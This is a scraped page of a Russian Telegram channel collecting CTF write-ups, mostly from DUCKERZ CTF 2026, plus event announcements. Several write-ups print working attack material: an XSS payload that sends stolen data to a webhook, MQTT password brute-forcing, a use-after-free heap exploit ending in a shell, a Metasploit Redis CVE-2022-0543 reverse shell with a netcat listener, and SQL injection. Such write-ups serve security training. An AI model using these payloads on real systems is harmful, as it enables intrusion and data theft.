fa
Feedback
Райтапы по CTF{2026}

Райтапы по CTF{2026}

رفتن به کانال در Telegram

☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ 💬 Наш чатик: @writeup_chat ✍️ По любому вопросу можно писать мне: @freenameruuuu ✅ Таски решать тут: @writeup_ctf_bot

نمایش بیشتر
4 328
مشترکین
+224 ساعت
+207 روز
+11330 روز
آرشیو پست ها
Кто хочет кайфануть в Сочи, рекомендую залететь в топ 30! Learning Bear в формате CTF (индивидуальный зачет). 28 февраля – 1 марта 12:00 МСК Онлайн, участие возможно из любой точки России. Топ-30 участников CTF получают гарантированное приглашение в финал Learning Bear в Сириусе на площадке НИЯУ МИФИ. 💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

Repost from TaipanByte CTF
TaipanByte’s Chart CTF уже через 2 дня!🤩 В эту субботу начинается TaipanByte’s Chart CTF - онлайн соревнование в области инф
TaipanByte’s Chart CTF уже через 2 дня!🤩 В эту субботу начинается TaipanByte’s Chart CTF - онлайн соревнование в области информационной безопасности, открытое для всех желающих. 🟣Формат task-based 🟣Команды от 1 до 5 человек 🟣Время проведения с 13:00 14 февраля по 13:00 15 февраля (МСК). Успейте зарегистрировать команду!⚠️ Регистрация будет прекращена 14 февраля 2026 в 13:00 МСК вместе с началом соревнований. Важные моменты: 🟡Задания ориентированы преимущественно на новичков. 🟡Каждый участник с ненулевым результатом получит сертификат об участии в соревновании. 🟡Каждое задание будет доступно сразу на 2 языках. Русском и английском. 🟡Призовой фонд - 30 000₽ к вашим выплатам на Standoff Bugbouny ➡️ Место проведения ➡️ Техническая поддержка 📱 Канал |🐍 CTF Платформа

#duckerzctf2026 #OSINT #УЦУЦУГА ✊ ОМСКВА [клик] Ссылка на райтап [клак] 🖱 💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

#duckerzctf2026 #STEGO Мой путь [клик] Ссылка на райтап [клак] 🖱 💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

#duckerzctf2026 #Hardware Утёнок в тумане [клик] Автор: @hun7_0r_b3_hun73d В задаче нам дается ссылка mqtt://94.19.79.169:200
#duckerzctf2026 #Hardware Утёнок в тумане [клик] Автор: @hun7_0r_b3_hun73d В задаче нам дается ссылка
mqtt://94.19.79.169:20012
1. Подключаемся к прослушиванию при помощи любого MQTT‑клиента. Я использовал mosquitto.
Команда:mosquitto_sub -h 94.19.79.169 -p 20012 -t '#' -v
MQTT работает по модели Publish‑Subscribe. То есть одни сущности публикуют информацию в конкретные топики, а другие могут получать эту информацию, подписавшись на нужный топик. Также в нем есть Wildcard‑топик (#), который позволяет подписаться на все доступные топики. Команда выше как раз выполняет подписку на все топики, которые есть в брокере. 2. Слушаем трафик. Пример того, что будет видно после подписки:
/sensors/humidity/data {"sensor": "humidity", "value": 28, "timestamp": 1770496341}
/sensors/pressure/data {"sensor": "pressure", "value": 20, "timestamp": 1770496342}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496348}
/announcements {"from": "Duck", "message": "duck_fan, where are you? quack!", "timestamp": 1770496349}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496349}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496353}
/sensors/pressure/data {"sensor": "pressure", "value": 30, "timestamp": 1770496378}
/announcements {"from": "Duck", "message": "i'm in /users/duck/secret", "timestamp": 1770496379}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496385}
Мы видим какие‑то данные датчиков + сообщение от утки, которая ищет пользователя duck_fan и говорит, что есть секрет в /users/duck/secret. 3. Из предыдущего шага можно понять имя пользователя, который нам нужен. Если мы попробуем авторизоваться (при помощи флага -u duck_fan), брокер укажет на необходимость введения пароля. Можно подобрать его подобной командой:
ncrack mqtt://94.19.79.169:20012 -user duck_fan -P ./rockyou.txt -v
В ответ получим, что пароль — iloveyou. 4. Авторизуемся с этим паролем:
-u 'duck_fan' -P 'iloveyou'
и получаем флаг. Шаги 3–4 показаны на скриншоте. 💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

#duckerzctf2026 #Web 🥪 Сэндвич 2 [клик] Автор: @fakedesyncc Расшифровка текста: Trust no iframe, even your own — подсказка в самом флаге. --- ## Суть уязвимости 1. На сайте sandwich.duckerz.ru есть виджет обратной связи — iframe с feedback.duckerz.ru/widget. 2. Родительская страница (sandwich) и виджет (iframe) общаются через postMessage. 3. Виджет может отправить родителю сообщение { type: 'REQUEST_SALARY_DATA' }, и родитель отвечает сообщением { type: 'SALARY_DATA', payload: ... } с данными зарплаты (и флагом). 4. В виджете можно выполнить свой код (XSS), если удаётся вставить его в контент, который там рендерится. Один из способов — отправить Complaint (жалобу) через API feedback с HTML/JS в поле message. Когда эта жалоба отображается в контексте виджета, выполняется наш скрипт. 5. Скрипт: подписаться на message, отправить родителю REQUEST_SALARY_DATA, в ответ принять SALARY_DATA и отправить payload на свой webhook. --- ## Шаги решения ### 1. Создать webhook - Зайти на https://webhook.site и скопировать свой уникальный URL (или создать токен). ### 2. Подготовить XSS-пейлоад Код должен выполняться внутри iframe виджета (origin feedback.duckerz.ru): - Слушать событие message. - Если e.data.type === 'SALARY_DATA' — отправить e.data.payload на webhook. - Отправить родителю parent.postMessage({ type: 'REQUEST_SALARY_DATA' }, '*'), чтобы запросить данные. Пример (подставить свой WEBHOOK):
<img src=x onerror="
  window.addEventListener('message', function(e) {
    if (e.data.type === 'SALARY_DATA') {
      fetch('https://WEBHOOK.site/ТВОЙ-UUID?flag=' + encodeURIComponent(JSON.stringify(e.data.payload)));
    }
  });
  parent.postMessage({ type: 'REQUEST_SALARY_DATA' }, '*');
">
Однострочник для отправки через API:
<img src=x onerror="window.addEventListener('message',function(e){if(e.data.type==='SALARY_DATA')fetch('https://WEBHOOK?flag='+encodeURIComponent(JSON.stringify(e.data.payload)))});parent.postMessage({type:'REQUEST_SALARY_DATA'},'*');">
### 3. Отправить пейлоад в обратную связь (не в note перевода) - Эндпоинт: POST http://feedback.duckerz.ru/api/feedback - Тело (JSON): {"category":"complaint","rating":1,"message":"<твой HTML с img onerror>"} Важно: отправлять именно в обратную связь (Complaint/Bug Report), чтобы сообщение отображалось в виджете (iframe). В note перевода контент показывается на дашборде sandwich (родитель), а ответ с salary приходит в iframe — перехватить там из note нельзя. ### 4. Дождаться выполнения Когда жалоба будет открыта в интерфейсе, где контент рендерится внутри виджета (iframe feedback), выполнится наш скрипт: уйдёт запрос к родителю, придёт SALARY_DATA, данные уйдут на webhook. ### 5. Забрать флаг с webhook В запросе к webhook в параметре flag (или в теле) будет JSON с payload. В нём — флаг --- ## Пример через curl
WEBHOOK="https://webhook.site/ТВОЙ-UUID"
PAYLOAD='<img src=x onerror="window.addEventListener(\'message\',function(e){if(e.data.type===\'SALARY_DATA\')fetch(\''"$WEBHOOK"'?flag=\'+encodeURIComponent(JSON.stringify(e.data.payload)))});parent.postMessage({type:\'REQUEST_SALARY_DATA\'},\'*\');">'
curl -X POST "http://feedback.duckerz.ru/api/feedback" \
  -H "Content-Type: application/json" \
  -d '{"category":"complaint","rating":1,"message":"'"$PAYLOAD"'"}'
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

#duckerzctf2026 #PWN Девочка-волшебница [клик] Нам дан классически таск на заметки. Мы можем создавать страницу, в которой можем создавать, редактировать, смотреть и удалять записи. Про функционал страниц сразу же забываем, он существует для отвода глаз и потому что в начале была крутая идея, но не воспользовался. Наша задача получить rce. Уязвимость Невооруженным взглядом можно обнаружить багу, при удалении записи, соответсвующий указатель не зануляется.
/*
 * ♪ Удаляю записечку - прощай, старый секретик! ♪
 * Освобождаю память заклинанием free~
 */
void delete_entry(int page_number) {
    int entry_number;
    printf("Какую записечку стереть? ♪ ");
    scanf("%d", &entry_number);
  
    if (entry_number < 0 || entry_number >= 32) {
        puts("Нет такой записечки! ╮(╯_╰)╭");
        return;
    }

    if (Diary.pages[page_number]->entries[entry_number] == NULL) {
        puts("Тут и так ничего нет, глупышка~ (≧◡≦)");
        return;
    }

    free(Diary.pages[page_number]->entries[entry_number]->content);  /* Освобождаю память! */
    free(Diary.pages[page_number]->entries[entry_number]);
}
План Это значит, что мы можем освободить запись и все равно писать и читать из нее. Проще всего это взломать, создав страницу с контентом размера структуры (0x10), тогда мы сможем прочитать содержимое освобожденного чанка и переписать указатель в структуре, что позволит нам писать и читать в/на произвольные адреса. Сетап Аллоцируем страницу. Аллоцируем запись размера 0x10, освобождаем ее. Аллоцируем вторую страницу размера 0x10.
create_entry(io, 1, 0x10, b"x")
time.sleep(0.1)
delete_entry(io, 1)
time.sleep(0.1)
create_entry(io, 0, 0x10, b"x")
Теперь `entries[0].content == entries[1] Лик хипы Для начала нам нужно получить хоть какой то адрес. Для этого прочитаем запись 0, мы увидим там нечто похоже на адрес(последний байт мы переписали). Это так называемый [mangled adress](https://book.hacktricks.wiki/en/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.html). Не думаем, гуглим и находим [репу](https://github.com/mdulin2/mangle) для восстановления адреса. Arbitrary read Теперь мы можем написать в entries[0].content, переписать указатель на content и size и прочитать/записать в/на entries[1]
def arbitrary_read(addr: int) -> int:
    edit_entry(io, 0, p64(8) + p64(addr))
    time.sleep(0.1)
    res = u64(read_entry(io, 1)[:8])
    time.sleep(0.1)
    return res

def arbitrary_write(addr: int, data: bytes) -> int:
    edit_entry(io, 0, p64(len(data)) + p64(addr))
    time.sleep(0.1)
    edit_entry(io, 1, data)
    time.sleep(0.1)
Лик либцы, стека, бинаря Хотелось бы получить адрес либси. Для этого воспользуемся известной техникой: аллоцируем чанк в ансортед бин (любой чанк размера больше 0x511) и в нем появится указатель на либси. Теперь просто посчитаем оффсет до этого адреса и прочитаем его через arbitrary_read. Далее через другую известную технику ликаем адрес стека из environ, затем со стека ликаем адрес самого бинаря. Взлом Самый простой способ получить шел: вызвать system("/bin/sh"), для этого перешем plt free на system и освободим запись с текстом "/bin/sh\x00". 💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

#duckerzctf2026 #Reverse Кристально ясное задание [клик] На вход дан ELF-файл crystal_clear, на быстрый взгляд видно, что он
+1
#duckerzctf2026 #Reverse Кристально ясное задание [клик] На вход дан ELF-файл crystal_clear, на быстрый взгляд видно, что он чем-то запакован, похоже на UPX. Качаем последний UPX и пробуем распаковать:
$ ./upx -d cc
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2026
UPX 5.1.0       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 7th 2026

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: cc: CantUnpackException: l_info corrupted

Unpacked 1 file: 0 ok, 1 error.
К сожалению получаем ошибку, проверим на обычные трюки по коррапту UPX'a (аналогично можно просто дампнуть бинарь в рантайме, что проще и не требует ничего восстанавливать, но так менее красиво смотреть на решение). Видим что upx magic value в хедере неверный, он не "UPX!", а "BOBA". Пробуем восстановить его заменив на UPX!, затем распаковать снова:
./upx -d cc
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2026
UPX 5.1.0       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 7th 2026

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    589112 <-    192360   32.65%   linux/amd64   cc

Unpacked 1 file
Нам повезло, всё распаковалось только поменяв magic value в хедере (ещё бы, таск ведь easy). Теперь смотрим на сам таск, оно просит нас инпут и затем выводит nope если инпут неверный. Найдём строку nope в IDA, и посмотрим референс на неё. Как мы видим, XREF'ов на саму строку нет, но сверху, на полях информации (предполагается что библиотека/язык используют её как служебную инфу) есть xref, идём по нему и попадаем в main, на что-то типа проверки, отлично. Как видим здесь v190 проверяется с v189, v190 берётся из unk_63ED0, а v189 - это наш инпут как-то преобразованный. Это единственный бренч в котором программа говорит nope. Что интересно, позже содержание v189 зачем-то используется, и после этого функция для вывода вызывается повторно. Что должно натолкнуть на мысль что то, что мы вводим не совсем флаг, да и длина сравниваемого всегда 32 байта, когда длина инпута неограничено, что значит функция преобразований - что-то в духе хэша или KDF, что вряд ли даст нам изначальную строку восстановить, так что попробуем пропатчить и понадеется на лучшее. Для этого поставим бряк перед IF'ом, и затем пропатчим v189 на содержание из v190. v189 находится как указатель в r12 на момент перед IF'ом, и сравнивается оно затем с: d0a7cd04c00a420d2f24a82f6ab8e16a5944334c6b69b53ebbf6771cc65b993a По коду в проверке явно видим сравнение с числом 32, да и сам v189 похож на буффер в 32 байта судя по коду, значит вероятно эта строка - это шестнадцатеричное представление байт, а значит писать будем их в r12 как bytes.fromhex, для этого сделаем следующее, используя IDAPython (аналогично можно сделать в gdb):
idc.write_dbg_memory(idc.get_reg_value('r12'), bytes.fromhex('d0a7cd04c00a420d2f24a82f6ab8e16a5944334c6b69b53ebbf6771cc65b993a'))
После этого запустим программу дальше и посмотрим что произошло.

#duckerzctf2026 #Web Национальная лотерея [клик] Приложение на Spring, в котором реализован функционал лотереи. Выигрышный билет неизвестен, и угадать его практически невозможно. С помощью инструмента dirsearch можно найти открытый actuator.
dirsearch -u "http://94.19.79.169:20001" -x 404
[03:17:49] 200 -    2KB - /actuator
[03:17:49] 200 -    5KB - /actuator/env
[03:17:49] 200 -   49B  - /actuator/health
[03:17:49] 200 -    2B  - /actuator/info
[03:17:49] 200 -   17KB - /actuator/configprops
[03:17:49] 200 -    2KB - /actuator/metrics
[03:17:49] 200 -   86KB - /actuator/conditions
[03:17:49] 200 -   54B  - /actuator/scheduledtasks
[03:17:49] 200 -   21KB - /actuator/mappings
[03:17:49] 200 -  126KB - /actuator/beans
[03:17:49] 200 -   53KB - /actuator/loggers
[03:17:49] 200 -  124KB - /actuator/threaddump
Замечаем, что эндпоинты поддерживает POST запросы. Ответ на OPTIONS показывает: Allow: GET, POST, OPTIONS. Это означает, что можно не только читать переменные окружения, но и изменять их.
curl -X POST http://94.19.79.169:20001/actuator/env \
  -H "Content-Type: application/json" \
  -d '{"name":"test.property","value":"test123"}'
Теперь нужно найти, какое свойство контролирует выигрышный билет. Логично предположить, что это lottery.winning.ticket. Далее можно просто заменить значение выигрышного билета в env на свой билет из профиля.
curl -X POST http://94.19.79.169:20001/actuator/env \
  -H "Content-Type: application/json" \
  -d '{"name":"lottery.winning.ticket","value":"ticket-c79b6292"}'
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

#duckerzctf2026 #Forensics Врум-врум отменяется [клик] Первым делом видим http запрос и возьмём его поток (рис. 1). Однако в
+2
#duckerzctf2026 #Forensics Врум-врум отменяется [клик] Первым делом видим http запрос и возьмём его поток (рис. 1). Однако в нём нет и намёка на флаг, но мы знаем что пакеты будут в json формате, а значит можно воспользоваться поиском по слову. Первым словом может быть DUCKERZ, но оно отсутствует, так что попробуем слово flag (рис. 2): Нашлась новая ручка /custom-message, в которой судя по всему побуквенно перечисляется флаг (custom_message_value). Пробуем автоматизировать используя командную строку (рис. 3). И мы видим, что ничего лишнего не берётся. Воспользуемся awk и немного пошаманив получаем флаг:
strings VroomVroom.pcapng | grep flag | awk -F'=' '{ print $3 }' | awk -F'&' '{ print $1 }' | tr -d '\n'
Последним действием можно воспользоваться онлайн сервисом urldecode, или вручную поменять %7B и %7D на фигурные скобки 💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

#duckerzctf2026 #Hardware Заброшенный маяк [клик] Открываем firmware.elf в IDA Pro. В окне Functions видим:
decrypt_flag (0x4B) — ключевая функция.
main (0x7D) — основная программа
eeprom_read_byte (0xDC) — чтение из EEPROM
В окне Structures видим сегменты:
.text — код программы
.data — данные (адрес 0x800100)
.eeprom — EEPROM данные (адрес 0x810000)
Исследование функции decrypt_flag:
.text:0000004B decrypt_flag:                           ; CODE XREF: main+F↓p
.text:0000004B                 push    r12
.text:0000004C                 push    r13
.text:0000004D                 push    r14
.text:0000004E                 push    r15
.text:0000004F                 push    r16
.text:00000050                 push    r17
.text:00000051                 push    YL
.text:00000052                 push    YH
.text:00000053                 movw    r12:r13, r24:r25
.text:00000054                 movw    r16:r17, r24:r25
.text:00000055                 ldi     YL, 0
.text:00000056                 ldi     YH, 0
.text:00000057                 mov     r0, ZH
.text:00000058                 ldi     ZH, 5
.text:00000059                 mov     r14, ZH
.text:0000005A                 mov     r15, r1
.text:0000005B                 mov     ZH, r0
.text:0000005C
.text:0000005C loc_5C:                                 ; CODE XREF: decrypt_flag+26↓j
.text:0000005C                 movw    r24:r25, Y
.text:0000005D                 subi    r24, 0
.text:0000005E                 sbci    r25, 0
.text:0000005F                 call    eeprom_read_byte
.text:00000061                 mov     r18, r24
.text:00000062                 movw    r24:r25, Y
.text:00000063                 movw    r22:r23, r14:r15
.text:00000064                 call    _div
.text:00000066                 movw    Z, r24:r25
.text:00000067                 subi    ZL, 0
.text:00000068                 sbci    ZH, -1
.text:00000069                 ld      r24, Z
.text:0000006A                 eor     r24, r18
.text:0000006B                 movw    Z, r16:r17
.text:0000006C                 st      Z+, r24
.text:0000006D                 movw    r16:r17, Z
.text:0000006E                 adiw    Y, 1
.text:0000006F                 cpi     YL, 0x1F
.text:00000070                 cpc     YH, r1
.text:00000071                 brne    loc_5C
.text:00000072                 movw    Z, r12:r13
.text:00000073                 std     Z+0x1F, r1
.text:00000074                 pop     YH
.text:00000075                 pop     YL
.text:00000076                 pop     r17
.text:00000077                 pop     r16
.text:00000078                 pop     r15
.text:00000079                 pop     r14
.text:0000007A                 pop     r13
.text:0000007B                 pop     r12
.text:0000007C                 ret
.text:0000007C ; End of function decrypt_flag
Ключевые моменты: - Чтение из EEPROM - Операция XOR (eor инструкция) - Ключ длиной 5 байт (делитель = 5) Переходим к сегменту .data (адрес 0x800100):
.data:00800100 xor_key:        .db 0x37, 0x42, 0x15, 0x7A, 0x2F ; 
Переходим к сегменту .eeprom (адрес 0x810000):
.eeprom:00810000 encrypted_flag: .db 0x73, 0x17, 0x56, 0x31, 0x6A, 0x65, 0x18, 0x6E, 0x3F
.eeprom:00810009                 .db 0x6A, 0x67, 0x10, 0x25, 0x37, 0x70, 0x44, 0x31, 0x25
.eeprom:00810012                 .db 8, 0x4A, 0x13, 0x1D, 0x22, 0x12, 0x6A, 0x68, 4, 0x79
.eeprom:0081001C                 .db 0x4E, 0x44, 0x4A, 0
Написание скрипта для расшифровки:
encrypted = bytes([
    0x73, 0x17, 0x56, 0x31, 0x6A, 0x65, 0x18, 0x6E,
    0x3F, 0x6A, 0x67, 0x10, 0x25, 0x37, 0x70, 0x44,
    0x31, 0x25, 0x08, 0x4A, 0x13, 0x1D, 0x22, 0x12,
    0x6A, 0x68, 0x04, 0x79, 0x4E, 0x44, 0x4A, 0x00
])

key = [0x37, 0x42, 0x15, 0x7A, 0x2F]

flag = ""
for i in range(31):
    flag += chr(encrypted[i] ^ key[i % 5])

print(f"Flag: {flag}")
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

#duckerzctf2026 #Misc Редиска [клик] Flask-приложение с Redis. Имитация старой системы "Enterprise Logic Pro 2000". Сразу обращаем внимание на версию Redis, используемую на сервере. Это Redis 5.0.7. Он не защищен паролем (requirepass пустой), что позволяет любому пользователю отправлять команды без аутентификации, но флага там нет. Эта версия Redis уязвима к CVE-2022-0543. Это критическая RCE-уязвимость в Redis для Debian и Ubuntu, позволяющая выполнить произвольный код на сервере через обход ограничений Lua-песочницы.
msfconsole
use exploit/linux/redis/redis_debian_sandbox_escape
На сервере с белым IP открываем listener на 4444 порту
nc -lvnp 4444
set RHOSTS 94.19.79.169
set RPORT 20004
unset PASSWORD
set LHOST 45.140.19.200
set LUA_LIB /usr/lib/x86_64-linux-gnu/liblua5.1.so.0
set ForceExploit true
Получаем rev-shell на тачке с Redis. Флаг находится в корне
cat ../../flag.txt
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

#duckerzctf2026 #Web Клиника [клик] Уязвимость Second-Order SQL Injection в обработчике /update-password. Хотя регистрация и вход используют параметризованные запросы, имя пользователя из сессии подставляется в SQL-запрос обновления пароля через обычную шаблонную строку. Это позволяет использовать «отравленный» логин для атаки на базу данных. Регистрируем аккаунт с пейлоадом в качестве имени пользователя:
admin' --
После входа под этим аккаунтом значение попадает в сессию. При смене пароля в настройках профиля сервер выполнит инъекцию: кавычка закроет поле username, а символы -- закомментируют остаток оригинального запроса. В результате SQL-запрос изменит пароль не нам, а администратору:
UPDATE users SET password = '[hash]' WHERE username = 'admin' --'
Заходим под admin с новым паролем и забираем флаг в панели управления. 💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

Всем привет! Живы? Я не очень, Дакерзы заставили попотеть Как обычно, жду ваши райтапы после соревнования! Мы обязательно выживем 🪢 💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

Repost from DUCKERZ
🔥 DUCKERZ CTF 2026 – ПОЕХАЛИ! Соревнование DUCKERZ CTF 2026 официально началось! Желаем всем участникам удачи и успешного решения задач. 👉 Участвовать 👈 🐥Формат task-based 🐥Команды до 5 человек 🐥С 12:00 7 февраля по 12:00 8 февраля (МСК) 🐥Пример флага: DUCKERZ{c7f_b3g1n5} 🐥Бот поддержки: @duckerz_ctf_bot 🐥 Канал | 🐥 Чат | 🐥 Платформа | 🐥 Регистрация

Repost from InfoSec VK Hub
Всем привет! А вот и финальный разбор в нашей серии! Последний пазл, флаг за который дал целых 400 очков. Иногда самая проста
+7
Всем привет! А вот и финальный разбор в нашей серии! Последний пазл, флаг за который дал целых 400 очков. Иногда самая простая ошибка — оставить introspection в GraphQL — становится очень дорогой... Persik ICO Writeup
category: web, points: 400 Airdrop токена Persik уже прошёл, а вы - опоздали ... но сервис хранит больше данных, чем должен! Достаньте любой eligible-адрес и заберите флаг После подключения кошелька видно, что для проверки участвует ли адрес в airdrop'е отсылается GraphQL query checkAirdrop на эндпойнт /graphql. Увидим, что по этому пути нам доступен GraphiQL.
Проверим включена ли introspection:
query { __schema { types { name kind fields { name type { name kind } } } } }
Из схемы составим query getEligibleUsers и получим список список адресов участников airdrop'а:
query GetEligibleUsers { getEligibleUsers { address tokensClaimed airdropEligible } }
Выберем любой адрес и передадим его в checkAirdrop:
query CheckAirdrop($addr: String!) { checkAirdrop(address: $addr) { address tokensClaimed airdropEligible flag } } И получим флаг: {   "data": {     "checkAirdrop": {       "address": "0x8ba1f109551bD432803012645aac136c22C19e00",       "tokensClaimed": 3000,       "airdropEligible": true,       "flag": "vkctf{edd3417a9eb5c85b361d196e504b05a0}"     }   } }
Опционально можно было использовать адрес администратора из admin query:
query AdminInfo { admin { secretKey vaultAddr } }
На этом серия разборов подходит к концу. Мы прошли путь от базовых уязвимостей до тонкостей GraphQL, где одна невыключенная настройка открыла доступ ко всей логике и данным сервиса. Этот таск — отличное напоминание: безопасность API часто ломается на самых простых вещах: забытых отладочных интерфейсах, излишней детализации ошибок или избыточных правах. Предыдущие разборы серии: 1 часть 2 часть 3 часть VK Security | Буст этому каналу #разбор #CTF

Друзья, я знаю, что вам не хватило времени задать свои вопросы Егору и именно поэтому мы решили провести СТРИМ поскриптум, где ответим на ваши вопросы! Форма, куда можно отправить свой вопрос https://forms.yandex.ru/u/6984a1da90fa7b1a56545f8c/ На всякий случай запись доклада, если кто не смотрел https://rutube.ru/video/a54900346f6b71186397e2e232839c18/ Стрим проведем 13.02 включайте уведомления, чтобы не пропустить! 💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

🖥 Напомню, что скоро будет DUCKERZ CTF 07.02, так что залетайте на регу! А еще, райтапы от организаторов будут в нашем канале сразу после мероприятия... 💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

💥 Записали митап по физическому пентесту — теперь всё лежит на RUTUBE. 29 января мы собрались в офисе Solar в Москве и поговорили про полный цикл физического пентеста: от OSINT и подготовки легенды до проникновения в офис и использования железа вроде O.MG Cable. В плейлисте три доклада: ​ 🔹 Егор Зайцев (@pro_pentest) — «Физический пентест: от OSINT до полной компрометации компании» 🔹 Андрей Зенин (Бастион) — «Физический пентест: этапы, практика и реальные кейсы» 🔹 Александр Хабибуллин (CyberOK) — «O.MG Cable: доверие к USB обернулось атакой» Если интересен реальный физический редтимминг, социальная инженерия и практические кейсы с полей — залетай смотреть. 👉 Плейлист тут: https://rutube.ru/plst/1456882/ 💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

Если на этот пост, поставить огонечки и сердечки, то можно ускорить загрузку видео с митапа по физическому пентесту А еще под
Если на этот пост, поставить огонечки и сердечки, то можно ускорить загрузку видео с митапа по физическому пентесту А еще подпишитесь на 📺 RUTUBE, чтобы ничего не пропустить! 💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube